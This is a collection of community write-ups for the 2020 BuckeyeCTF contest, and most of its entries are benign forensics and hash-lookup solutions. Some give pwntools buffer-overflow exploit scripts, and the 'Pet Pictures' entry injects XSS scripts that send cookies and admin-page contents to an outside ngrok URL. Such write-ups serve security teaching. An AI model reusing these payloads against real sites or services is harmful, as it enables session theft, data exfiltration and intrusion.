AU20 BuckeyeCTF Write-ups
Questions, or want yours attributed to a different name? Email info@osucyber.club
Note the table of contents on the left is deceiving, and the formatting here is not great.
Challenge: Overflow Write-Up Author: ctf-user-099
from pwn import *
p = remote('pwn.osucyber.club', 13373)
p.recvline()
p.sendline(b'A' * 16 + p32(0xcafebabe))
p.interactive()
Challenge: toasted Write-Up Author: ctf-user-077 toasted by WCSC
For this challenge, youāll want to be familiar with GET and POST requests in HTTP.
When you visit the url, youāll find a website that controls a smart toaster. The website provides an API help, which has 6 methods available. Reading through them, two stuck out:
- POST /api/generate_maintenance_token
- GET /api/download_backup (maintenance token required)
Maintenance usually has access to more functionality, so the backup seems to be where we will find the flag. We will need to generate a maintenance token. To do so, I mad a POST request to http://pwn.osucyber.club:13372/api/generate_maintenance_token. This endpoint complained that I need an API token. Drat.
Looking through the website, the http://pwn.osucyber.club:13372/quick-toast page makes a request to the API. Taking a look at the Networks Developer Tools in Chrome, the API token can be found hardcoded in the Javascript: gSNEaD868LJd1DldhZUglykfGwu_NbcLu9d1wmT5luLFTfHV2eVQYI8EupRMi71Cz6qydOc0kgXnGcDoPuUkkA
I now repeated the POST request for the maintenance token, but now we need a serial number. Making a GET request (http://pwn.osucyber.club:13372/api/status?token=gSNEaD868LJd1DldhZUglykfGwu_NbcLu9d1wmT5luLFTfHV2eVQYI8EupRMi71Cz6qydOc0kgXnGcDoPuUkkA) to the status page, I found the following:
{ āstatusā: 0, ādataā: { āmodelā: āHot Stuff 1337ā, ānum_toastedā: ā34ā, āserialā: ā60AKGPCIAX1AYIVN36M7MSIOXCRQ17ET2U17VUSSā, ātimeā: ā2020-10-24T00:01:23.119Zā } }
Great, we have now the serial number now! I repeated the maintenance request again with both the token and serial, but this unfortunately still failed. I found adding the model number to the request, however, succeeded (the error message seems a bit misleading). This granted the token:
{ āstatusā: 0, ātokenā: āCk2RtOs2RE1JTBnrOzEyaoC4fl8XfsyeoWtARkoc9ZAXwDAvyIHqMBzpBQhnYJT3ybXlu1BrbIfvVWPIkLpEdwā }
Great! Now just ask for the flag at http://pwn.osucyber.club:13372/api/download_backup?token=Ck2RtOs2RE1JTBnrOzEyaoC4fl8XfsyeoWtARkoc9ZAXwDAvyIHqMBzpBQhnYJT3ybXlu1BrbIfvVWPIkLpEdw and youāre good to go!
Challenge: Magic Magic Bytes Write-Up Author: ctf-user-121 Magic Magic Bytes Write-Up
Based on the challenge title, I expected this was a file with the magic number altered. Opening with HxD hex editor, I saw āPKā as the first bytes and suspected this was a PK zip file. Renamed the extension to .zip, and opened with 7zip to extract not_a_zip_file.zip, which I then open with HxD to get the flag.
Challenge: Pet Pictures Write-Up Author: ctf-user-077 Pet Pictures by WCSC
Wow, this is a cool challenge. Iāve done lots of XSS attacks, and read about this style, but never needed to perform one. This is definitely up there as one of my top 10 challenges.
Visiting the challenge url, http://pwn.osucyber.club:13378/, you are presented with Pet Pictures, a website for uploading pictures of your pets. Right off the bat, this challenge REEKS of cross-site scripting. In the top right, you can choose to submit a picture, and there is a big āModeratorā button. Any time I see a moderator on a challenge, I automatically assume Iāll need to get the moderator to run some JS, and thatās no different here.
To grab the cookies (because I assume we will want the moderatorās cookies), we will want to use ngrok. If you havenāt used ngrok, it is a wonderful tool that provides a public URL that otherās can use to connect to your machine. For this challenge, you donāt need a web server running, as we will store the information in the URL. After firing up ngrok, I went to the submission page and placed the following code in all of the input fields:
<script>
document.write('<img src="http://da42d2740672.ngrok.io/collect.gif?cookie=' + document.cookie + '" />')
</script>
This js appends the cookie to the ngrok URL, then places the img in the document to be loaded by the browser. I pulled up the ngrok terminal, and waited a few seconds, and poof! A request came in from the moderator. The cookie, however, was not there.
I poked around a bit and noticed the session cookie for this CTF is httponly! That means that the JS cannot retrieve it, it is only sent as part of an HTTP request. However, we did get code to run as the moderator. Instead of logging in, maybe we can just make the moderator do what we want as a proxy. I wasnāt sure exactly what we needed to do, but clicking the moderator button brings up the url http://pwn.osucyber.club:13378/login?next=%2Fadmin. That next parameter with admin means there is an admin page at http://pwn.osucyber.club:13378/admin and I wanted to see what was at that URL.
To do so, I modified the script to have the moderator load this page, and send the results back to my ngrok page instead of the cookie. The script I injected was:
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://pwn.osucyber.club:13378/admin', false);
req.send(null);
if(true) {
console.log("HERE!");
url = " http://0c9e37513664.ngrok.io/collect.gif?cookie=";
result = req.responseText;
url = url.concat(window.btoa(result));
document.write("<img src='" + url + "'></img>");
}
</script>
Similar to the previous script, this visits the admin page, concatenates the base64ed result with the ngrok url, then sends the result back to ngrok. Opening the ngrok terminal, we find the base64 encoded admin page.
PCFkb2N0eXBlIGh0bWw CjxodG1sIGxhbmc9ImVuLVVTIj4KICA8aGVhZD4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvbWF0ZXJpYWxpemUvMS4wLjAvY3NzL21hdGVyaWFsaXplLm1pbi5jc3MiPgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL21hdGVyaWFsaXplLzEuMC4wL2pzL21hdGVyaWFsaXplLm1pbi5qcyI PC9zY3JpcHQ CiAgICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2ljb24/ZmFtaWx5PU1hdGVyaWFsK0ljb25zIiByZWw9InN0eWxlc2hlZXQiPgoKICAgIAogICAgPHRpdGxlPkFkbWluPC90aXRsZT4KICAgIAogIDwvaGVhZD4KICA8Ym9keT4KICA8ZGl2IGNsYXNzPSJuYXZiYXItZml4ZWQiPgogICAgPG5hdj4KICAgICAgPGRpdiBjbGFzcz0ibmF2LXdyYXBwZXIiPgogICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJicmFuZC1sb2dvIGNlbnRlciI PGkgY2xhc3M9Im1hdGVyaWFsLWljb25zIj5wZXRzPC9pPlBldFBpY3R1cmVzPC9hPgogICAgICAgIDx1bCBjbGFzcz0icmlnaHQiPgogICAgICAgICAgPGxpPjxhIGhyZWY9Ii9zdWJtaXQiPlN1Ym1pdDwvYT48L2xpPgogICAgICAgICAgCiAgICAgICAgICA8bGk PGEgaHJlZj0iL2xvZ291dCI TG9nb3V0PC9hPjwvbGk CiAgICAgICAgICAKICAgICAgICA8L3VsPgogICAgICA8L2Rpdj4KICAgIDwvbmF2PgogICAgCiAgICAgIAogICAgCiAgPC9kaXY CgogIAo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgCiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbCBzMTIiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLXBhbmVsIGdyZXkgbGlnaHRlbi0yIj4KICAgICAgICAgICAgICAgIDxzcGFuPlBlbmRpbmcgQXBwcm92YWw6IDI8L3NwYW4 CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY CiAgICAKICAgIDxkaXYgY2xhc3M9InJvdyI CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBob3Jpem9udGFsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1pbWFnZSI CiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iL3VwbG9hZC8yZjRkZDEyZjgwZTY4OTFkY2M3Mzc2ZDVkMjlmM2FiOGRiYjg2NWUyIiBhbHQ9ImNseWRlIi8 CiAgICAgICAgICAgICAgICA8YSBjbGFzcz0iY2FyZC10aXRsZSI Q2x5ZGU8L2E CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPHA TW9kZXJhdG9yIE1lc3NhZ2U6IG9zdWN0ZntuM1YzUl83UnU1VF91czNyXzFOUFU3fTwvcD4KICAgICAgICAgICAgICAgIDxwPlN1Ym1pdHRlZCBCeTogV2F0c29uPC9wPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgCjwvZGl2PgoKICA8L2JvZHk CjwvaHRtbD4=
Decoding that gives the admin page, which contains the flag. Pretty awesome!
Challenge: Hash Mash
Write-Up Author: ctf-user-067
Unhashing
The ājibberishā inside osuctf{...}
is a set of words that have been hashed using the sha1 hashing algorithm (note that _
are used to separate hashes). There are plenty of places where you can look up the unhashing. I used https://md5hashing.net/hash, but many other sources can get the job done. Copying each hash (again, remember that the _
marks the end of a hash) and unhashing it will allow you to replace the hashes with their original words.
Challenge: Overflow Write-Up Author: ctf-user-077 Overflow by WCSC
This is a very simple buffer overflow. The catch is the following line.
if (check == 0xcafebabe) {
We need to overflow the string buffer so that the check variable becomes 0xcafebabe. To do this, I used Python3 and Pwntools. Rather than trying to figure out exactly where the check variable lied in memory, I just filled it full of 0xcafebabe. The script to do so is below.
from pwn import *
p = remote("pwn.osucyber.club", 13373)
payload = p32(0xcafebabe)
p.sendline(payload*20)
p.interactive()
Challenge: Right Address Write-Up Author: ctf-user-077 Right Address by WCSC
This is another very simple buffer overflow. The catch is the following line.
Again, we will use Python3 and pwntools. In the process_order function gets is called. Using gdb, I looked up the address for print_spy_instructions which prints the flag. Like before, rather then determine the exact location of the return address, I just repeat the address over and over.
from pwn import *
p = remote("pwn.osucyber.club", 13374)
payload = p32(0x08048626)
p.sendline("1")
p.sendline(payload*30)
p.interactive()
Challenge: Hash Mash Write-Up Author: ctf-user-029 Beginner: Write-Up for Hash Mash As a total beginner to CTF, this is what i did: https://www.tunnelsup.com/hash-analyzer/ - to get the type of hash type http://reverse-hash-lookup.online-domain-tools.com/ - to reverse the hash. the ctf{ā¦} is a SHA1 (or SHA 128) hash type and basically just paste each hash(seperated by _) into the second link.
Challenge: Overflow Write-Up Author: ctf-user-053
Overflow Write-Up
Read the source code to see what value is being checked for the flag. In this case: if (check == 0xcafebabe) {
Locally declared C variables are stored on the stack, such as the case with the check value. int check = 0;
Then look at how many characters the name is given. #define NAME_LEN 16
We know that because the input isnāt bounded in any way that the stack isnāt protected. We can then change the value for check to match the given value in the code. We also know the given value isnāt a string because of the 0x, indicating hex.
Experiment with piping in different length strings along with hex letter combinations. This can show you how different lengths can give you a better idea of how overflowing the buffer can work.
Because we are writing to the stack we need to keep in mind both endianness and bytes for hex characters.
Hex characters are paired up, so they look like this when you input them: 0xca0xfe0xba0xbe
When putting hex in a string you specify they are hex by putting: \x before the hex characters.
We determined the endianness and used echo to pipe in the string: ā1111111111111111\xbe\xba\xfe\xcaā
This gave us the welcome message, but not the flag. This is to do with using echo and netcat together.
We ended up using pwntools to give the file the correct input.
Challenge: Appetizing Donut Secret Write-Up Author: ctf-user-042 7-zip, my hero
The first thing I tried was opening the file in 7-zip to get more info on it. Then, I discovered I could see more files inside of the Secrets file. I immediately fell for the bait images of assorted memes that were named like a solution. I eventually narrowed my search down to one file but it would not open for me. I right clicked the file and selected āalternate streamsā. This lead me to a textfile that contained the flag.
Challenge: Tripped Over a String Write-Up Author: ctf-user-053
Tripped Over a String Write-Up
We downloaded the file, opened it to see what was in it, and found a bunch of random stuff in it. Because of the name of the problem, I ran strings on the file which returns all the string variables and comments in the file. This gave us the flag.
Challenge: authbot Write-Up Author: ctf-user-077 Authbot by WCSC
For this challenge, you need to connect to the Buckeye CTF and message the authbot. Send authbot the $help
, as the challenge description hints at. This will bring up a list of commands, including the $info
command. Running the $info
command will print out a link to the github page for the bot. https://github.com/qxxxb/auth_bot
If you visit that site, you can read the source code for the bot. In particular, there is one interesting function: cmd_debug_log. This command was not listed in the help section. Running it reveals the following output:
2020-10-23 23:39:08 INFO Logged in as authbot#4452
2020-10-23 23:39:13 DEBUG User ath0#0294 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
2020-10-23 23:40:06 DEBUG User qxxxb#8938 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
2020-10-24 00:05:53 DEBUG User tips48#3559 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
2020-10-24 00:07:23 DEBUG User tips48#3559 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
Whoops, looks like they were logging password hashes, and we got access! Run this through CrackStation shows the password is gobucks. Now, run the $auth
command with the gobucks password, and youāll be added to the authbot-flag challenge on the discord. Congrats!
Challenge: Magic Magic Bytes Write-Up Author: ctf-user-053
Magic Magic Bytes Write-Up
The file given was a zip folder that was given the wrong extension. I used mv to add the zip extension and unzipped it. Then the txt file had a zip extension, which I ignored and used cat to read the file.
Challenge: Hash Mash Write-Up Author: ctf-user-055 Hash Potatos To solve for Hash Mash I realized that the given information was using a hash function based on the CTF101 information on types of encryptions that I every team was provided. Therefore, I took the given encryption 3e2e95f5ad970eadfa7e17eaf73da97024aa5359_2346ad27d7568ba9896f1b7da6b5991251debdf2_B47f363e2b430c0647f14deea3eced9b0ef300ce_Fc19318dd13128ce14344d066510a982269c241b_8fcd25a39d2037183044a8897e9a5333d727fded_b295d117135a9763da282e7dae73a5ca7d3e5b11 and placed it into a hash decoder. However, due to the underscore, I had to seperate each hash function by each _ which allowed me to receive 6 seperate words that when used in conjunction make the phrase āpotato hash is good with saltā. Therefore reaching the solution.
Challenge: undelete
Write-Up Author: ctf-user-115
We get a file battelle_files.tar.gz
All we have to do is:
tar -xzvf battelle_files.tar.gz
and we get:
$ ls
ctfd-description.txt flag lipsum_generator.py partition.img README.md
$ cat flag
osuctf{d3l3t1ng_1sn7_ov3rwr1t1ng}
Pretty sure this was unintendedā¦lol
Challenge: Recently Watched Write-Up Author: ctf-user-077 Recently Watched by WCSC
For this challenge, we downloaded the Chrome Cache tool from Nirsoft: https://www.nirsoft.net/utils/chrome_cache_view.html
We then opened the cache in this tool, which recovered many cached files and their URLs. Based on the Recently Watched title, we sorted by URL and searched for Youtube. The first one was pretty cool, check it out. But that was just a distraction. The second one was also pretty cool https://www.youtube.com/watch?v=IAKxlSplp-c, and if you sort the comments by most recent, youāll find the flag right at the top.
Challenge: authbot Write-Up Author: ctf-user-006
authbot
You canāt talk to the bot in the CTF server (as that would reveal the answers to other users), but you can message the bot through DM. You can try out each command to see what it does.
In particular, the $auth
command seems to require a password. Another
interesting command is $info
, which will send a link to a GitHub of the botās
source code.
2020-10-23 23:39:08 INFO Logged in as authbot#4452
2020-10-23 23:39:13 DEBUG User ath0#0294 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
You can then plug c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
into a hash
cracker like https://hashes.com/en/decrypt/hash.
This will tell you that the password is gobucks
. After running $auth gobucks
,
youāll get this message:
Successfully authenticated as admin on BuckeyeCTF
You can then go back to the CTF server and see that you now have the
authenticated
role, which gives you access to the authbot-flag
text channel, where you can
find the flag:
osuctf{osuctf{d0n7_lOG_y0UR_Au7h_57r1Ngs}}
Challenge: Overflow Write-Up Author: ctf-user-006
Overflow
We can see that the name
array is defined to have a length of 16 bytes. The check
variable is defined before it, and the problem was compiled without a stack protector. This means that we can overflow name
to set the value of check
.
We can write a small Python script to create the payload:
This will create a string with 16 ASCII characters followed by 4-bytes that equal 0xcafebabe
. Executing the python script saves the payload to a file named load
. We can then send this payload to the executable by doing cat load - | nc pwn.osucyber.club 13373
. After pressing enter, we now have access to a shell. To get the flag, we can do cat flag
, which reveals osuctf{expl01t1ng_5t4ck_l4y0ut}
Challenge: Hash Mash Write-Up Author: ctf-user-006
Hash Mash
Formatting the text slightly, we get this:
3e2e95f5ad970eadfa7e17eaf73da97024aa5359
2346ad27d7568ba9896f1b7da6b5991251debdf2
b47f363e2b430c0647f14deea3eced9b0ef300ce
fc19318dd13128ce14344d066510a982269c241b
8fcd25a39d2037183044a8897e9a5333d727fded
b295d117135a9763da282e7dae73a5ca7d3e5b11
Since each of these consist of 40 hex digits, we can assume that they were generated from SHA-1. We can then use https://hashes.com/en/decrypt/hash to decode them. This gives us:
osuctf{potato_hash_is_good_with_salt}
Challenge: Ride Write-Up Author: ctf-user-006
Ride
At first glance, it seems to be a huge list of floating point numbers. But upon closer inspection is seems that the values between every other element only seem to change slightly. Based on the context of the problem, these values seem to be XY coordinates.
To take advantage of this, we can first reformat the file using a simple script:
This formats the file like so:
39.9561702,-82.9998764
39.9561111,-82.9998112
39.9561122,-82.9995704
39.9561573,-82.9993301
...
Then we can load this value into Excel and plot it as a scatter plot.
The resulting plot roughly resembles the osuctf
prefix on the left, but is somewhat indecipherable.
But you can actually flip the image vertically to get a better view. After that, it becomes clear that the text says: osuctf{OUTSID3}
Challenge: authbot
Write-Up Author: ctf-user-017
First off, I dmād authbot $help
. This brought up a menu with possible commands like:
$ping
$coinflip
$auth
$help
$info
I tried $info
and got the message:
Iām a super cool authentication bot
Source code: https://github.com/qxxxb/auth_bot
Going to that Github link leads us to custom authbot code with a list of all the commands plus one extra command: debug_log
running $debug_log
gets us this message
2020-10-23 23:39:08 INFO Logged in as authbot#4452 2020-10-23 23:39:13 DEBUG User ath0#0294 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-23 23:40:06 DEBUG User qxxxb#8938 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 00:05:53 DEBUG User tips48#3559 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 00:07:23 DEBUG User tips48#3559 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 00:08:22 DEBUG User tips48#3559 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 01:35:35 DEBUG User novafacing#7892 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 01:39:30 DEBUG User coltsaw#3495 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 01:40:34 DEBUG User Steeno#0618 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34 2020-10-24 01:44:32 DEBUG User coltsaw#3495 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
The same hash (c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34) gets admin access over and over. We learn itās a sha-256 hash in the github code. Typing in this hash into an online tool to decrypt sha256 hashes gets us the password: gobucks.
Now if we do $auth gobucks
, we are authenticated as āadminsā on the Buckeye CTF server. A new channel pops up with the flag in it.
osuctf{d0n7_lOG_y0UR_Au7h_57r1Ngs}
Challenge: No Write-Up Author: ctf-user-006
No
At first glance, it looked like there was some stego is going on with the image. After extracting the image using pdfimages
and running it through some tools, I couldnāt find anything. I then decided to analyze the PDF a little more closely. As I slowly scrolled through the output of strings No.pdf
, I found: You looking for something?
followed by ZmxhZ3tUb3JvbnRvc1ByZXR0eUNvb2xFaD99
. This seemed to be a Base 64 encoded string. After decoding it using echo ZmxhZ3tUb3JvbnRvc1ByZXR0eUNvb2xFaD99 | base64 -d
, I got flag{TorontosPrettyCoolEh?}
Challenge: toasted Write-Up Author: ctf-user-006
toasted
I found a main.js
file using the Debugger in Firefox Devtools with the following code:
Looks like there was a hardcoded token that we could use for the API calls.
I started by trying out every API call, with the token supplied. Eventually, I found that this gave me some interesting information with this call:
Cool, we got a serial number and the number of toasts toasted. Great. After some more poking around, we can see that api/generate_maintenance_token
needs the serial number of the toaster. After supplying the serial number, we get a maintenance token: Ck2RtOs2RE1JTBnrOzEyaoC4fl8XfsyeoWtARkoc9ZAXwDAvyIHqMBzpBQhnYJT3ybXlu1BrbIfvVWPIkLpEdw
.
Now we can call api/download_backup
with this new token:
Challenge: Logo Write-Up Author: ctf-user-006
Logo
Luckily stegoveritas awesome_logo.png
was able to generate some interesting images. In particular awesome_logo.png_Red_1.png
shows the flag very clearly as: osuctf{k0N7RaS7_1s_PR377Y_k3wl}
Challenge: PATCHrick_Star Write-Up Author: ctf-user-077 PATCHrick_Star by WCSC
For this challenge, youāll want some sort of software thatās able to patch binaries. The demo version of binary ninja should work, but I did it using Ghidra and the awesome savePatch Plugin.
For this challenge, there are a few places youāll want to patch. The first will be the two calls to the function print_patrick. Just nop those out, they donāt do anything.
Next, youāll want to fix the loop in main so it doesnāt run forever. You can also just jmp over it using gdb if you prefer. Here is the line you want to change and what you want to change it to.
00400c96 80 bd bf fe ff ff 7f CMP byte ptr [RBP + -0x141],0x7f
00400c96 80 bd bf fe ff ff 01 CMP byte ptr [RBP + -0x141],0x1
Now letās take a look at the decrypt_flag function. At the if statement, itās simply setting the entire flag to 0 instead of writing the value we want as the if statement is always false. To fix this, I simply inverted the jmp following the compare. Instead of JNZ, I made the instruction JBE. You can tell if this works in Ghidra as suddenly the decompiler will share the branches as flipped.
Now, you can just run the program!
Challenge: Doomba Write-Up Author: ctf-user-099
Unedited, super gross solve script.
[solve script removed so this challenge can be used for internal ctf]
Challenge: Hash Mash Write-Up Author: ctf-user-099 Using crackstation: https://crackstation.net/
3e2e95f5ad970eadfa7e17eaf73da97024aa5359 sha1 potato
2346ad27d7568ba9896f1b7da6b5991251debdf2 sha1 hash
b47f363e2b430c0647f14deea3eced9b0ef300ce sha1 is
fc19318dd13128ce14344d066510a982269c241b sha1 good
8fcd25a39d2037183044a8897e9a5333d727fded sha1 with
b295d117135a9763da282e7dae73a5ca7d3e5b11 sha1 salt
Challenge: PATCHrick_Star Write-Up Author: ctf-user-099 Use binary ninja to patch out all of the ānanosleepā calls.
There were a couple calls in main, and one in in the call to decrypt_flag.
Challenge: Appetizing Donut Secret Write-Up Author: ctf-user-099 I used xxd, piped the output into ālessā and searched for āosuctfā
00016e70: 6573 706f 6f6e 2061 6374 6976 6520 6472 espoon active dr
00016e80: 7920 7965 6173 740a 332f 3420 6375 7020 y yeast.3/4 cup
00016e90: 626c 6163 6b62 6572 7279 206a 616d 0a32 blackberry jam.2
00016ea0: 2071 7561 7274 7320 7665 6765 7461 626c quarts vegetabl
00016eb0: 6520 6f69 6c20 666f 7220 6672 7969 6e67 e oil for frying
00016ec0: 0a6f 7375 6374 667b 7031 616e 6b37 306e .osuctf{p1ank70n
00016ed0: 5f63 346e 375f 6e74 6635 7d0a 0000 0000 _c4n7_ntf5}.....
00016ee0: ffff ffff 0000 0000 0000 0000 0000 0000 ................
00016ef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00016f00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00016f10: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00016f20: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Challenge: debugger Write-Up Author: ctf-user-077 debugger by WCSC
If you download pwndbg, this is even easier, as the flag will show up immediately when you place the breakpoint. First, open the program in gdb. Type run. Next, run disass main to dissassemble the program. You can see the call to memset, which is the function that clears memory. This occurs at memory address 0x400647. Run b *400647 to place a breakpoint, and run the program again. In pwndbg, youāll see the beginning of the flag in the dissassembly and on the stack. You can now print the flag by printing the top of the stack: x/s $rsp
Challenge: sus Write-Up Author: ctf-user-115 We follow the tcp conversation, dump the hex of the program to a file, and open it up. We RE this and see that it accepts 2 commands over the wire, E and C.
C runs a command and captures up to 0x400 of the output. Cool. Anyway.
E sets the encryption key. We have in our packet capture that that key is āDontCallMeSecurelyā. We also have the ciphertext. Soā¦lets just ignore the RE and decrypt.
Challenge: Appetizing Donut Secret Write-Up Author: ctf-user-029 Beginner: Appetizing Donut Secret Open the file on an online hexadecimal editor (https://hexed.it/#base64:SECRETS.dsk;b3N1Y3Rme3AxYW5rNzBuX2M0bjdfbnRmNX0=) and just press ctrl+F
Challenge: Tripped Over a String
Write-Up Author: ctf-user-115
All we need to do here is download the file tripped_over_a_string.txt
.
Run strings tripped_over_a_string.txt
and we get the flag in the output.
Challenge: Magic Magic Bytes
Write-Up Author: ctf-user-115
If we run file not_a_text_file.txt
we get not_a_text_file.txt: Zip archive data, at least v2.0 to extract
. Run unzip not_a_text_file.txt
and we get a folder that contains a file with a .zip extension, but is actually text. Cat it to get flag.
Challenge: Logo Write-Up Author: ctf-user-115 Go to https://stegonline.georgeom.net/upload, upload the image, and click LSB. The flag will appear.
Challenge: debugger Write-Up Author: ctf-user-115
Challenge: authbot
Write-Up Author: ctf-user-115
If we look at the code, we see a hidden option that isnāt listed on running $help
: $debug_log
If we run that we get:
2020-10-23 23:39:08 INFO Logged in as authbot#4452
2020-10-23 23:39:13 DEBUG User ath0#0294 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
Put this in crackstation and we get the password gobucks
. Run $auth gobucks
and we get access to the flag channel.
Challenge: cord-great_white
Write-Up Author: ctf-user-115
We see a request for /flag.pngā¦so go to FileāExport Objects in wireshark and export that file. Open it feh flag.png
and we get the flag.
Challenge: Right Address Write-Up Author: ctf-user-006
Right Address
This is a stack smashing problem.
Open up the binary in gdb
. Next find the address of print_spy_instructions()
:
The address we need is 0x08048626
.
Since we will be smashing the stack in process_order()
, letās disassemble
it.
Our main point of interest is the call to gets()
:
Here we can see that we compute the address of %ebp - 0x70
and store it in
%eax
. Next we push %eax
to the stack. In short, we are passing that
computed address to gets()
. This means that this address is the start address
of address[]
.
Set a breakpoint at the call to gets()
:
Run the program. When the breakpoint is reached, run info frame
:
We can see that:
- The saved
%ebp
is at0xffffc168
on the stack (it happens that the current%ebp
always points to the value of the saved%ebp
), because that was the last thing pushed to the stack before the function was called. - The saved
%eip
is at0xffffc16c
on the stack
Alternatively:
x $ebp
shows the value in the%ebp
register (as well as value of the memory that it references)x $ebp+4
shows the return address (old EIP) of the current function, because it was the second to last thing pushed to the stack before the function was called.- See https://www.cs.princeton.edu/courses/archive/spring11/cos217/lectures/15AssemblyFunctions.pdf
We want to overwrite 0xffffc16c
. To do this, we have to fill all the values
between the address of address[]
and 0xffffc16c
. Then we can set the value
at 0xffffc16c
to whatever we want, namely the address of print_spy_instructions()
.
We can put all this into a Python script:
To use this:
We can then see that the flag is:
osuctf{1ll_r3turn_wher3_i_w4nt_2}
Challenge: cord-great_white Write-Up Author: ctf-user-006
cord-great_white
You can open this file in Wireshark, which will show a bunch of packets. We have some HTTP packets, so after some googling around, I realized that you could do File -> Export Exports -> HTTP
, which would allow you export several files including flag.png
to a separate folder. Opening flag.png
shows an image with this text: osuctf{p4ck3ts_4r3_c00L}
Challenge: debugger Write-Up Author: ctf-user-006
debugger
After looking at the source code, it looks like the ideal place to set a breakpoint would be on the memset
call. We can open up pwn
in gdb:
We can set a breakpoint at the memset
call like so:
Then we can run
the program. To see the flag, we can do print decrypted_flag
which gives us osuctf{brutus_l0ves_br3akpoints}
Challenge: Fontana Write-Up Author: ctf-user-099
- Google āfontana ohio stateā
- it is a building and we have a timestamp ā prob webcamera
- found https://www.teleport.io/feed/d0b8xiqj1ib9sfa7ptyi and it is broken
- rev api, get the frameframeframeframeframe
Challenge: Matrix Multiplication Write-Up Author: ctf-user-099 The idea is to send an identity matrix and a matrix weāll modify. Iām not sure what computations ended up happening on the matrix, my process was: send a large matrix, one of them the identity in case the result of the multiplication overflows, then figure out whatās going on in gdb.
There was some weird thing going on which required me to subtract some number from the overflowed values, but Iām not sure why.
[ solve script removed -Andrew]
Challenge: Recently Watched Write-Up Author: ctf-user-006
Recently Watched
First place to check was the History
database file in the chrome config folder:
sqlite> SELECT * FROM urls;
1|https://www.youtube.com/watch?v=dQw4w9WgXcQ|Rick Astley - Never Gonna Give You Up (Video) - YouTube|1|1|13247388071823408|0
Ok, not nice. Looks like we have to try some other stuff. The next thing I tried was hindsight, which gave me some more info.
cookie (created) 2020-10-16 23:00:35.129 .youtube.com/ GPS <encrypted>
cookie (created) 2020-10-16 23:00:35.130 .youtube.com/ VISITOR_INFO1_LIVE <encrypted>
cookie (created) 2020-10-16 23:00:37.160 accounts.google.com/ __Host-GAPS <encrypted>
cookie (created) 2020-10-16 23:00:37.612 .doubleclick.net/ IDE <encrypted>
cookie (created) 2020-10-16 23:01:02.774 .google.com/ NID <encrypted>
url 2020-10-16 23:01:11.823 https://www.youtube.com/watch?v=dQw4w9WgXcQ Rick Astley - Never Gonna Give You Up (Video) - YouTube
preference 2020-10-16 23:01:24.412 https://www.youtube.com:443,* site_engagement [in Preferences.profile.content_settings.exceptions] {'last_modified': '13247388084412754', 'setting': {'lastEngagementTime': 1.324738808441271e+16, 'lastShortcutLaunchTime': 0.0, 'pointsAddedToday': 3.12, 'rawScore': 3.12}}
preference 2020-10-16 23:01:25.799 https://www.youtube.com:443,* media_engagement [in Preferences.profile.content_settings.exceptions] {'last_modified': '13247388085799130', 'setting': {'audiblePlaybacks': 1, 'audioContextPlaybacks': 0, 'hasHighScore': False, 'highScoreChanges': 0, 'lastMediaPlaybackTime': 1.324738808141319e+16, 'mediaElementPlaybacks': 1, 'mediaPlaybacks': 1, 'significantPlaybacks': 1, 'visits': 1}}
Looks like we had some cookies with encrypted values. I spent forever trying to decrypt them using pycookiecheat but I couldnāt get it to work.
